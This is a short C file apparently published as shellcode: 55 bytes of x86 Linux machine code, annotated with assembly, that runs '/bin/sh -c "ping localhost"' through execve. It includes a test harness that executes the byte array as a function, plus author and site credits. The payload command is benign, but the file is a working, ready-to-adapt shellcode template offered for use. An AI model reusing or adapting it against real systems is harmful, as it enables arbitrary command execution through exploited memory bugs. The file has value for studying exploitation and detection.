/* Name : 55 bytes sys_execve("/bin/sh", "-c", "ping localhost") x86 linux shellcode Date : may, 31 2010 Author : gunslinger_ Web : devilzc0de.com blog : gunslinger.devilzc0de.com tested on : linux debian */ char asshole[] = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x73\x74\x20\x20" // push $0x20207473 "\x68\x61\x6c\x68\x6f" // push $0x6f686c61 "\x68\x20\x6c\x6f\x63" // push $0x636f6c20 "\x68\x70\x69\x6e\x67" // push $0x676e6970 "\x89\xe6" // mov %esp,%esi "\x52" // push %edx "\x66\x68\x2d\x63" // pushw $0x632d "\x89\xe1" // mov %esp,%ecx "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x56" // push %esi "\x51" // push %ecx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 int main(int argc, char **argv) { int (*func)(); func = (int (*)()) asshole; (int)(*func)(); }